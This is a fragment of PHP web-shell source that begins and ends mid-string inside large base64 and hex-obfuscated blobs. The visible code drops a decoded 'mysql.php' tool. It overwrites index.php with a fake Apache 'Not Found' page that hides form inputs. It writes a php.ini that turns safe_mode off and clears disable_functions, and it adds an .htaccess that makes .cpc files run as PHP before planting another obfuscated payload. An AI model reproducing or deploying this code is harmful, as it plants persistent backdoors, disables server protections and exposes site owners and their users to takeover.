BKelh6NDlIc0pmYW1DR2RRVnlEWUcrSWlBb0FRRUdaaEVxQ0FFUTVVNGVlRlZOS1hGZ0hXQVVtNEtQWlNDQ1EzS3hPL0E1YzJOdmRRNDFiblJsY2dhQWZTQUJZM0p6ZEFveUFVQXhJUEFKRDhRRXdtVmhZMmdnQVpJbmN4Q1V5TU1nS0NzckJOczhiSDRnRG9jSndBa0owVUxnSUNnaEFvQUY5UUdSQWFNTG1UNVFKeDdjTENBbkI0RnJVVUJIQkVJSkJBZ0o4REFDZEF1QUJmTnBjOGlXMWhBVGtsc2lBckJsYkdRT0JDSmRFbEVKQnc4SEFVNGZBVlZNVEFjdkFzOEN3R3ZqRzdObGMyTmhjR1ZmUk5BVDNtbHVad2RmWlhJSFVDZGdBekFLZEFrTklBcXdKYWQ4VWluNUFDZVFRVkFCa0NlUEF4QUpRQWJqWm5KbFpWOXlaWFBmZ1ZwQUJzSnpJcUJ0Q2o2QWJLK2x4RHVRWVdOMGFXOXVBSkQvWVQ2REFKQXc0bGxSTGhGL1VnSkRreUVpTDVFeDBpSWdLWHV5RUFBUUNXaGxZV1JsY2lnaVEyOGpBRzUwTFdRQzdXbHpjRzl6YVFWUk9pRndWQ0JYVUQwTnd3VlJMa2RBVlFBaUNrQUpBNlVuQTZWMC9FQTZJSFZ1YTI1dmR5L2piaThBaENjQ3NpNWpDWkpMblFWQkFrSVNZaUpjYmdBaEU0RFk0Q0lneVZKYzZYQUFSU01qSXora0EyRkJWRVJWVFZBZ0NZRkRUMDFRV2hGRUlBSkFBK040YVhRN0NRa1g4TC8vQUZGOWkwRW1zUTcvRHYvbU1CVFREczhPenc3T0J5QWRvMlp2R2RBQnNydTZZS2dKVUhZdmdBSFNYMGVWVnBFVE1uTkhEem9sUk05ZlZlOVovSDlWNFVVRUwrUVpIMlNoU0FCYk1GMFk0aGYyR1FjQk5oa3RBM01ZL3p2RVZFVVk5d1BXQlFkOUVxQWZWQVV0Ri9NZ1JFRm1JRUZUUEJoRklCNVBIa3F3Z2FCYWRYUnBiSE16YTUwWVkyOXREQmh0WVc1a08rQUg4enhvTVQ1VkF5QXZVR1Z6UEg0ZEx3RGdZeEpIc0h4Z0F0UXowaUlnZkh5R2h3R2toc0kxeUtCQmJEM0xVR1pzZFhOb05iQWdKc0VGNVhMd3d4QTFVMmdwQUc5M0JoTUpBaVIxYkFJclBHeHBQanhoSUdnQ3FYSmxaajBuSkF1bFB6eHpQUTNTSmdma1BYTUU0SUJIU3NCaGRIVnpKejVUZEFDQlBDOWhCUThGRHdVUHdDNFJVQVVEZG1GeWFXRmliR1VGTUZZQXRRVnZDbTlGTUFoTVJnVnZCV1p3Y205alpYTnpiUGd3Sno1UTF1MEExd1d2THhFdFJoV0JFMTl1SUhOQ2toTmZVd2ovSDZNOUduSUYrMTlvYjNOMERpQklBSEVJU0ZNeUZmUWZjZ0xvSWg2QUhiR3l3Q0hDYmRjU092TWdJZ295SUFWQ0FtRWhQU0JtWVd3MEFITmw3Yk1lcFdaV1lDQnphWHBsUFRJZ1kyOEFCR3h2Y2oxeVpXUStMU0JUZFdNUnNUd3Zyc0FDRVQ0TllnbExNVEl3STNVOEFiRUR6eTBnUm1GcGJQeGZBNWsxaHhFL0VUOE9sQkUwYkc5bkVTQk1BR0FSSHpOU0VSZ0N3YzhaRHFFUkQzSjUyYUFSQXdKVkVQOXZJQ0lOUHhEL2JuUVEvMytDYUFQUEZMY1EveFFtS3g4aUx5SXEwZ0IyYVd4bFp6Q1JVRC8vY21rQXhCRy9FYjBEaHhJZlhnUWpGUUs3RW44T3Z3NjNJMjhPc0NkQS91Y2pieWN2RW44RHdEU2ZSKzlTa0hOSDVqR3phbU1uUG9XU1ZDQkg5dC8vTkw4OGdWOERBeEcvRWJ3Q2R4Ri9FWDhSZnpUZjYrQlhORFRmT0pNUmY5dS9FWDlaWDI1WlhCRnpjMWppV1c5RDBpUTNsRFVZQXdNUmZ4RjhBbmYvbnhGL0VYOFJmeEYvRVg5S0RSRi9FWFpheDMwZ1N6RnZzbzFqNzlDTllBZ2daWEpsWjY0Z2NHeGhZMlZCZ0Y4aUxDQWljUDhnQUZBUUpvY1NKSEJTWmJCUkF4QlZpZ1NuQW5JbElnSzJWa2J3TlFkU1ZsUUt3VlFqY21WMGRYSnVmb0MzQVFrSEFHd0Y1aGVBYm5WdDJnVWdCN1lHSURPd0lpUndJR05zWVhOekJSYzliRzlqWWJEaFBnaW1QQzl3ZGd4b2ZqUUQ1eXZDQUVnZ1kyVnNiSE53WVdQRWtEMHhBT0p3WVdSQktHUUE0VElnWW05eXQ1QTlNQVM4ZEFTMENRbG1LQnh2Y29nQWFRc3dNRHNnSkdrZzErQmpNQUN4S3lzLzVpQXBEeVBRMHdJd0UwT2RjOXpTQTdBU2RLZGdhU0FOc0I1bmRBa09hRDRpTGdPekxUNjBzUzRpUEM4QlVIWVVaQmd2NDM4STlRMmc2L0lvSURFSHhwK0FRZnl4Qi93QmNBZlhCNVFiY2dHUTF1MERCQnVIWXZzQWF4b2hHOVE4QnhVSzRCQVRhZ1h3RUJGcUVCZHlJR29RRVFrZ0tFWjBaQTBRYUhSdEZ0QmxZMmxoYkFZRlkyaGhjbk1JVUFjbFd5UnFYU0FwRG1Ka0Z3WDIzZ2NWRGpiY2NRVW1MeHdTQXNSOXBkckVNMThHOGFZL2RoRU04QTJMZ1NSU0p3MDhBbUUrQUhEV1lBQndkR2wwYkdVK2RmQUFqR2x1SUZSdklFUmhCbUJoYzJVWDBBR1NEVHdDQUhOMGVXeGxJTlNoUFNKMFpYaDBMMk56SUJCeklnT1FJUzB0RFdKdlpIa2ZZR0poWTJzZ0FHZHkvZkJrT25WeWJDaG9kSFJ3T2k4dkJCQjNkM2N1WWpZZ2EyaGhkQzVGc0M5cGJXR2dBR3R3THdOUkxXSm5MbkJ1WnlrZ2JtOHRjZ0ZBWlhCbFlYUTdJQVJuTFNWUWIzSTZJQ013a0FRQUVqc2dVYkV0Wm1GdGFXeDVPa0dnZ0d3c0FBQWdTR1ZzZG1WMGFXTmhMQ0J6WVc1ekFKWXRjMlZ5YVdZN0lPcUFjQzR5QlNDQWdBUzBjMXdDYVFMd2NoQndCTEtPOFRvZ2MyMWhiR3c3RkpCb1lRd3hBcWNDbFgwTmFESUJiMzBOZEdnQllRclBJMmJudXdBU0JpQUhKQ05HQUJJQkVBYy9CSEJrQkg4UE1nUmlaZ052Q3BLZ0FDZndiUU9CYldGeVoybHVMWFJ2Y0RvZ01NQ01Bc0FCQkdKdmRIUnZiUUV5ZlExaEFwRWJFUzFrQ0RCbFkyOXlReEk2Ym05dVpRTUFDalFnSXpJMURnWTBNVEUzQVNBS1J4Rm1ZVHBzYVc1ckJHQUV3RG9GNDJodmRtVnlBTUFKRDY0UG53VldCKzl1WlNBQUd4ZmdDK0l2THkwdEpRQXZKcElBa1N6aEFJQWlnVDROSnhvUkRRQ0ZablZ1WTNScGIyNGdvRzkwWlhJdXJ5Ukc0dm5nN0dORjROcmpBSkFzNEd4bFJRRUF3TXRsQUxCVlUwVlNUZ1BnUVUxRk93ME5OMVZURlFFRkVTR3R5MkpzZFdVK0tPbGJKQVBGWGE0a0lDMGdTbUlFcHRKL1lRdlNQV3pHY0RNNVJFS3M0RFpsSUV3QklKdkJJSHdFUTNpREMxWWdJZHdRNzBwMzRFV1FPK0lpMHovTjFRWEJqdE1tRDlNOUpBQ0RKZ1RtUFh6c0pBQzJrWlFJQ1dvQkJsOVFYMFB4QmxYZWdpZnBvcFZDSUh6d1B3K2lFelVQbncrVmIyZHZkWFFuUm5FQWdBOFJBNHAvOHdFNytLQWY0Z0U3UzVJQk1qNWdEUTBOSTVFdEFCY2dUVUZKVG1BSUlBRUhBS0FnTHk4TlpYSnliM0orMFc5eWRKQUFibkFvTUdlQWFXNXBYM05sZENBb0oyUnBTSGR6Z0dCNVh3SmljeWNzSUFIN3dzQUJ1dzFqY2cxemtvS1hNd0lnYjI3NFlpUUJhQUVlQW5GMWRCeXlBTEZ1S0FoZ2liS0FQZ1VQWjI5dVgzTjFZbTFwQXZnQkZBTnZNVEQrVVdRYzgzVnRjQi9pQjU0Qm9VUkNCNUE3MFhNRUlzRW9KUFVnTUtBb0FIWmhMV0FwYlJCbFlXTm9LQ1JJVkZSUVh3QUhRMDlQUzBsRlgxWkJVbE1wSUgxekNuSURJS0FERDBKdDVtSjNaV0pmWVdSdGFXNWZkVmZRTmtIOVVBWmhNZllGTUFZd0JkQkY0QWtELzE4RDkzQ05RSGR2Y21TQWZBUHlVRUZUVTFkUFVrUUQvd2Z2QitQdUFRZm1TRTgvQUZOVVBaRUQrWVBRUWZrQnNBd1RjR052Ym01bFkzVCsvM2xnQTNVUkVEMzFBTEFJeGhyUUNSU1JHQUdsTnhUdkR4TVU3eFR2QjBEL3F3MFBEUU1VNzBxUUMxQUYweFR2R053VTcwOFU3eUFFMEhJY3p4ekEvaTBVN3dmc0ZPQkNkSUFnUTFFVnozRnNYeFhQUlJVUUZjOUVtT0x2UHdVVFlIQUZBQTBpMHhveVhRTUtnV1poNUZBb3hBTGpqSU5BOHBJMjRCZGpvZ0U3amdOTmVWTlJUQ0JKYm1QQVpyOUFqZVVDdTFpQUx3UC9QRWg0VG1WMFlXS1JFSGRwWkhSb1BURUFLakF3SlNCb1pXbG5hSFFBd2o2aTBUeWZ3RHc0QVdObEJ0R2E1QU8xYURFK1YzSnZibWNnVUM4MEg2MGhQQzhCUUFoN1ZHOUZrNzl3UWJBblZGSnVWRWNGeFM4SEpKZnJEY0JrUGdCUWNnQlJDckVJVEpnQ0FVMVZ0d2t1QndrUkFYYlc1aTBubGdqakdWRWliR3Z3YlJBaUlDbHFJQWtBNHFRRWN6S3g5UDBaZ0J0aFA5SURhR08yRUhSbFNWSURjUUQwQTVRRGozK0NQWENRRDk5a2NtOXdBMllBMGdOUEJzMEpRVkdTY3dwWUFSTUdyd2FtQ1RQL3dBSnlBM1FCS0FPUEE0WUpVUU5wQVFZRFR3TkdkbWxsZDFOakR3ZG9aVzFoQnJRQkZ3TnZBMlp4ZFdWeWVRTVloU0ZGUU80WUFYTHVRVXNoQ1dZZkZHRGU0RVpwWld4VzRSZmhiV0Z1Ly95NVlBRWk4S0FCMEFWUUhyRUR6d1BJYVBRQ3NBUThBWlFFcnhtTlpXUS9QMmwwQjFJRVR3UFFBZUVCa0FpUGIyNG5nZ0lCQStJSEJBTEFDSjl2LzJKMElBVFBJQWl0R2tFRXdnUlVBUVlYN3hmbUdqRVhJUU0wQVBVRzRQLytBU0FMYnd0a0ZkQURXQmVUQVJFRGNBR3dBNitqVWc4Q0FmQUNrUTd2WjMvL1pRR0lCSThPelJPQkF4RUd3Qk1IQVJFRHNBSEJBWUFMN3d2a0FnRUNzZmgvQ0Y4SVhRS2hCSzhNNTJSbGJHVkFBRHZRQW1BSWdRRVhGMDhYUnZvUHA4SURGQURDQXNFRDRHMXdBbU5zYjNObE1CQUE0bU56TURJZEFHWnZiMTlBd3dRTndIM0hFRDgrIikpOyAgPz4=';
  946. $file = fopen("mysql.php" ,"w+");
  947. $write = fwrite ($file ,base64_decode($mysql));
  948. fclose($file);
  949. chmod("mysql.php", 0644);
  950. $indexshell = fopen("index.php" ,"w+");
  951. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  952. $tulis = fwrite( $indexshell, base64_decode($data));
  953. fclose($indexshell);
  954. $safemode = fopen("php.ini" ,"w+");
  955. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  956. $tulis = fwrite( $safemode, base64_decode($data));
  957. fclose($safemode);
  958. echo "<iframe src=mysql/mysql.php width=97% height=100% frameborder=0></iframe>";
  959. }
  960. elseif(isset($_GET['x']) && ($_GET['x'] == 'ciprut'))
  961. {
  962. ?>
  963. <form action="?y=<?php echo $pwd; ?>&amp;x=ciprut" method="post">
  964. <br>
  965. <?php
  966. echo "<center/>";
  967. mkdir('inc', 0755);
  968. chdir('inc');
  969. $akses = ".htaccess";
  970. $buka_lah = "$akses";
  971. $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
  972. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  973. AddType application/x-httpd-php .cpc
  974. ";
  975. fwrite ( $buka , $metin ) ;
  976. fclose ($buka);
  977. $ciprut = 'PD9waHAgJHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcxXHg3NnRceDY0XHg3MVx4NzdceDYycXRceDZkIl09ImQiOyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1MifVsiZmlxYlx4NmFceDY1XHg3N1x4NzJceDZhIl09Ilx4NzRoXHg2NVx4NmRlIjskeyJHXHg0Y1x4NGZCXHg0MUxceDUzIn1bIm5ceDZkbVx4NjloXHg3Nlx4NzVceDZiXHg2NSJdPSJceDcwXHg2Zlx4NzNceDc0XHg2ZFx4NjUiOyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2OVx4NmJ2XHg2Ylx4NjVceDZhXHg2YVx4N2EiXT0idGhceDY1bWVceDY0XHg2OVx4NjVceDY0IjskeyJHTE9ceDQyXHg0MUxceDUzIn1bImpceDY1dG5ceDYxXHg3MG9ceDc5dlx4NjdceDc0ciJdPSJceDZlXHg2Nlx4NjlsXHg2NSI7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY0cGtoXHg2Ylx4NmJceDYyIl09Ilx4NzRceDY4XHg2NVx4NmRceDY1XHg3MFx4NjFceDY3XHg2NSI7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDYzXHg3NHFceDYxblx4NzkiXT0iXHg1Zlx4NjZceDY5XHg2Y1x4NjUiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiXHg3NnpceDZjXHg3YVx4NzlceDZhXHg2NVx4NmVceDczZnEiXT0iXHg2ZFx4NjV0IjskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NmN0XHg2NVx4NzFceDY0aFx4NzRceDYxeFx4NjciXT0iXHg2ZVx4NzJceDY5IjskeyJHXHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NzdceDY4ZFx4NjliXHg3OFx4NjVceDcxXHg2YiJdPSJceDY5XHg2ZVx4NjRceDY2aVx4NmNlIjskeyJHTE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NzR1am1weFx4NzRceDZmXHg2YVx4NzhceDY2Il09Im1ceDZmZFx4NjlceDY2XHg3OSI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc0XHg2ZFx4NzZceDc2XHg2Nlx4NjdceDcwXHg2YmgiXT0iXHg2ZWxceDY5XHg2ZVx4NjUiOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiY3hceDY5XHg3M2xceDc2XHg3NSJdPSJceDc0aFx4NjVceDZkXHg2NWRceDY5XHg3NFx4NmZyIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NzlceDc4XHg2Nlx4NzBwXHg3NFx4Nzh4cVx4NjIiXT0iXHg2M1x4NmZvXHg2Ylx4NjllIjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NjZceDZhXHg2NVx4NjZceDcyZFx4NmVceDY1YSJdPSJceDc1clx4NmN6IjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNTIn1bIm9ceDY2XHg2M1x4NjJnXHg2Mlx4NzBceDcwXHg3NVx4NzdceDY4Il09Ilx4NjRceDY1XHg2NiI7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJ0cVx4NzF0XHg2Y2NceDc1XHg2M3YiXT0icXVceDY1XHg3Mlx4NzkzIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NjhceDZjXHg2OVx4NzhseFx4NzJceDc0XHg2Ylx4NzUiXT0iXHg3M2lceDc0ZV9ceDc1XHg3Mlx4NmMiOyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2OGtceDY0XHg2M3VtIl09ImRceDYyXHg2ZVx4NjFtZSI7JHsiR1x4NGNceDRmQlx4NDFceDRjUyJ9WyJceDYzXHg3OG1ceDY0XHg2OHMiXT0iXHg2ZXBhXHg3M3MiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3NWRceDc5XHg3OXFceDZjdXZceDc4Il09InBceDc3ZCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYzXHg3NXVceDY5dGJceDc5XHg3OCJdPSJceDcwXHg2MVx4NzNzd29ceDcyZCI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDY5Zlx4NjZceDZjXHg2Ylx4NmFceDZhXHg3OFx4NmQiXT0iXHg2M29ceDZlXHg2Nlx4NjlceDY3IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjlnXHg2YVx4NzltbFx4NjFceDYzXHg3Mlx4N2EiXT0iXHg2NGFceDc0YSI7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJuXHg3Nlx4NmVudG4iXT0iXHg3MFx4NzJceDY1Zlx4NjlceDc4IjskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NjJceDYzXHg3MnJceDc4XHg3OVx4NmJceDY5Il09InJceDY1XHg3MSI7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDY4XHg2ZmtceDZjblx4NmVceDY1aGxceDZiXHg2MyJdPSJxdVx4NjVceDcyeVx4MzIiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Nlx4NjV0bFx4NjdceDYyXHg3NSJdPSJ0XHg2MVx4NjIiOyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg3Nlx4NmZvaHlceDZiXHg3N2JceDdhIl09Ilx4NjhceDYxXHg3M2giOyR7Ilx4NDdceDRjT1x4NDJBTFMifVsiXHg3MVx4NmRrXHg3OFx4NzJceDY1XHg2ZFx4NzlceDY1XHg2OFx4NzciXT0iXHg2OFx4NmZzXHg3NG5ceDYxbVx4NjUiOyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsieW9ceDc2XHg2Mlx4NjRceDc4eXZceDY5dFx4NmIiXT0iXHg3NVx4NzNceDY1clx4NmVceDYxbVx4NjUiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4NjF4XHg2NFx4NzBkXHg3MGNceDZkXHg2NVx4NmIiXT0iXHg2M1x4NmVmIjskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bInZceDY2XHg3OFx4NzZceDYxXHg3Mlx4NzlceDcxXHg3N1x4NjliIl09InBceDYxXHg3M1x4NzMiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3YVx4NmRceDc4XHg3N1x4NzZceDY0XHg3Mlx4NmNtXHg3NyJdPSJceDc1c1x4NjVceDcyIjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNTIn1bIlx4NjZceDcyXHg2ZW5ceDZhb1x4NmNtXHg2NSJdPSJjXHg2Zlx4NmVceDc0ZW5ceDc0IjskeyJceDQ3XHg0Y09CQVx4NGNTIn1bInRceDc3YVx4NzJceDY2XHg3OFx4NzZceDcxcnciXT0iXHg3MCI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDY4XHg3N2VceDZhdGxceDc3XHg2Ylx4NzUiXT0iXHg2NFx4NmYiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y29ceDZhZ1x4NzlceDczXHg2YXdceDZiIl09Ilx4NzVceDcyXHg2Y1x4NTBceDYxXHg2N2UiOyR7IkdceDRjXHg0ZkJBTFMifVsib21ceDZkXHg2M1x4NzN1XHg3OFx4NzVceDc5XHg2N24iXT0iXHg3MFx4NmZzXHg3NCI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc4XHg2MXVceDYxZmVsIl09Ilx4NjhceDY1YVx4NjQiOyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2ZFx4NmJceDZhdlx4NmFceDcxIl09Ilx4NjNoIjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzRceDZhZVx4Njdld1x4NjVvXHg3NHhceDc1Il09ImNceDZkXHg3MyI7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJceDY3XHg3Mlx4NzZceDc4XHg2N1x4Njhsalx4NzAiXT0iXHg3MGFceDY3XHg2NVVSXHg0YyI7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDY3cFx4NmVmXHg2ZVx4Nzd6Il09InUiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiYlx4NmFceDZhXHg2ZFx4Nzh5XHg2YWhceDczXHg2N1x4NjEiXT0iZVx4NmVceDY0X1x4NzBceDZmXHg3MyI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDY0XHg3MXZhXHg2Y1x4NzBmXHg2MVx4NzZ1XHg3OSJdPSJceDY1XHg2ZVx4NjQiOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3NXN1XHg2NVx4NzNceDc4XHg2NWEiXT0iXHg3MFx4NjFceDY3ZVx4NTVceDUyXHg0YyI7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDYyc1x4NzdicVx4NmFceDc3Il09Ilx4NzN0XHg2MVx4NzJ0XHg1Zlx4NzBvXHg3MyI7JHsiR0xceDRmXHg0MkFMUyJ9WyJ4XHg3Nlx4NzBceDcwXHg2YmpceDY1XHg3NVx4NmMiXT0ic1x4NzRhcnQiOyR7IkdMXHg0ZkJceDQxTFMifVsielx4NjVceDZmXHg2YnRceDZhZXYiXT0iY1x4NjlceDcwXHg3MnV0IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzZceDczXHg3NnB0XHg2Mlx4NzNceDc0a3MiXT0iZVx4NzRceDYzYyI7JHsiR0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY1aVx4NjhceDZkZlx4NzVceDZiXHg3NVx4NzdceDY5XHg3OVx4NjIiXT0iXHg2NXRceDdhIjskeyJceDQ3TFx4NGZCQUxceDUzIn1bInFceDcwXHg2M2JsXHg2Ylx4NjkiXT0iXHg2NXRceDYzXHg3YSI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc1XHg2Nlx4NzR3ZVx4NjhceDZkcVx4NzJ6XHg3MSJdPSJceDY1dFx4NjMiOyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3OFx4NzZwXHg2OVx4NmRsXHg2Mlx4NmVceDc3XHg3NCJdPSJceDY2XHg2OVx4NmNceDY1IjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NzhvXHg3OXZpalx4NjhceDZiXHg2ZFx4NmUiXT0iXHg3M1x4NzRyIjskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImJceDZhbmZceDY3XHg2MXljaVx4NmNceDYyIl09Ilx4NmNceDY5XHg2ZVx4NmIiOyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzFceDYzXHg3N1x4NmRceDZlc1x4NmMiXT0iXHg2Zlx4NzduZVx4NzIiOyR7IkdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2Mlx4NzhceDZibVx4NzZyXHg2YnkiXT0iZFx4NjlceDcyIjskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmZceDY2ZVx4NmZceDY0d3dceDZjXHg2YVx4NzlceDZkIl09Ilx4NjRceDZmbVx4NjFceDY5XHg2ZSI7JHsiR1x4NGNPQkFMXHg1MyJ9WyJceDZjZmh1a1x4NjZceDc5dlx4NzV4XHg3NCJdPSJceDYzXHg3NVx4NzJceDcyXHg2NW5ceDc0X2RceDY5ciI7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJsaVx4NzFnaFx4NmZceDZmZlx4NzRceDZmXHg2YSJdPSJsXHg2OXNceDc0IjskeyJceDQ3TFx4NGZCXHg0MUxTIn1bIlx4NmZceDZkXHg2NFx4NjNceDYxXHg3NFx4NmJuIl09Ilx4NjhceDc0YVx4NjNceDYzc1x4NzMiOyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsieHFceDZlXHg2Y1x4NmNceDc1Ylx4NjJceDZmIl09Ilx4NjJceDYxXHg3M1x4NjVceDVmXHg3NXJsIjskeyJceDQ3XHg0Y1x4NGZceDQyQUxTIn1bImJceDYzXHg2MVx4NzNceDc0clx4NjRceDZiIl09Ilx4NjhceDc0XHg2MVx4NjNjXHg3M3MiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiXHg2Mlx4NjFqc1x4NzB0cVx4NzdceDZmXHg3Mlx4NzciXT0idVx4NzJceDZjIjtlY2hvICJceDNjXHg1M1RZTEVceDNlXG5ceDc0ZVx4NzhceDc0YXJlXHg2MXtiXHg2MWNrZ1x4NzJceDZmdVx4NmVkLWNceDZmXHg2Y1x4NmZceDcyOiMxXHgzMFx4MzVceDM3MFx4MzA7Y1x4NmZsb1x4NzI6XHg2Y2lceDZkXHg2NVx4M2JmXHg2Zm50LXdlaVx4NjdodDpib1x4NmNkXHgzYlx4NjZceDZmXHg2ZXQtc1x4Njl6ZTpceDIwXHgzMlx4MzBweDtceDY2XHg2Zm5ceDc0LVx4NjZceDYxXHg2ZGlceDZjeTpceDIwXHg1NFx4NjFob21hO1x4MjBceDYyb1x4NzJceDY0XHg2NXI6XHgyMFx4MzFceDcweFx4MjBceDczb2xceDY5ZCBcblxuXHgyM1x4MzBceDMwXHgzMFx4MzAwXHgzMFx4M2J9XG5pXHg2ZXBceDc1XHg3NHtGT1x4NGVceDU0LVdFXHg0OUdIVDpceDZlXHg2Zlx4NzJtXHg2MVx4NmM7XHg2Mlx4NjFceDYza2dceDcyb1x4NzVceDZlZC1jXHg2Zlx4NmNceDZmXHg3MjpceDIwXHgyM1x4MzFceDMwNTcwXHgzMDtceDY2b250LVx4NzNceDY5emU6XHgyMDE1XHg3MHhceDNiZlx4NmZceDZldC13ZWlceDY3XHg2OFx4NzQ6Ym9sZFx4M2JjXHg2Zlx4NmNvcjogXHg2Y1x4NjltXHg2NVx4M2IgXHg2Nm9uXHg3NC1ceDY2YW1pXHg2Y1x4Nzk6IFx4NTRceDYxaFx4NmZceDZkXHg2MTtceDIwYlx4NmZceDcyXHg2NFx4NjVceDcyOlx4MjBcblxuXHgzMVx4NzB4IHNvXHg2Y1x4NjlceDY0ICNceDM2XHgzNlx4MzZceDM2XHgzNjY7aFx4NjVceDY5Z2h0OjJceDMwfVxuXHg2Mlx4NmZceDY0eVx4MjB7XG5ceDY2b1x4NmV0LVx4NjZceDYxbVx4NjlseTpceDIwXHg1NFx4NjFceDY4b1x4NmRceDYxXG59XG5ceDc0clx4MjB7XG5ceDQyXHg0Zlx4NTJceDQ0RVx4NTI6XHgyMGRceDYxXHg3M2hceDY1XHg2NFx4MjAxXHg3MFx4NzhceDIwI1x4MzNceDMzM1x4M2Jcblx4NjNceDZmXHg2Y1x4NmZceDcyOiBceDIzRlx4NDZceDQ2O1xufVxuXHg3NGRceDIwe1xuQlx4NGZSXHg0NFx4NDVceDUyOiBceDY0YVx4NzNceDY4ZVx4NjRceDIwMXBceDc4IFx4MjMzMzNceDNiXG5ceDYzb2xvcjpceDIwXHgyM0ZGXHg0Njtcbn1cbi5ceDc0YWJceDZjZVx4MzFceDIwe1xuQlx4NGZSRFx4NDVceDUyOiAwXHg3MHhceDIwQlx4NmNhXHg2M1x4NmI7XG5ceDQyQVx4NDNceDRiR1JPVVx4NGVceDQ0LVx4NDNceDRmXHg0Y09ceDUyOiBceDQyXHg2Y2FceDYzaztcblx4NjNceDZmbG9yOlx4MjAjXHg0NkZGO1xufVxuLnRceDY0XHgzMVx4MjB7XG5CXHg0Zlx4NTJERVI6XHgyMFx4MzBweDtcbkJceDRmUkRFXHg1Mi1DT0xceDRmXHg1MjogI1x4MzNceDMzM1x4MzNceDMzXHgzMztcblx4NjZvXHg2ZVx4NzQ6XHgyMFx4MzdwdFx4MjBceDU2XHg2NVx4NzJkYVx4NmVceDYxXHgzYlxuXHg2M29sXHg2ZnI6IFx4NDdyZWVuO1xufVxuXHgyZVx4NzRceDcyMSB7XG5ceDQyXHg0Zlx4NTJceDQ0XHg0NVI6XHgyMFx4MzBceDcwXHg3OFx4M2JcbkJceDRmXHg1Mlx4NDRFUi1ceDQzXHg0Zlx4NGNPXH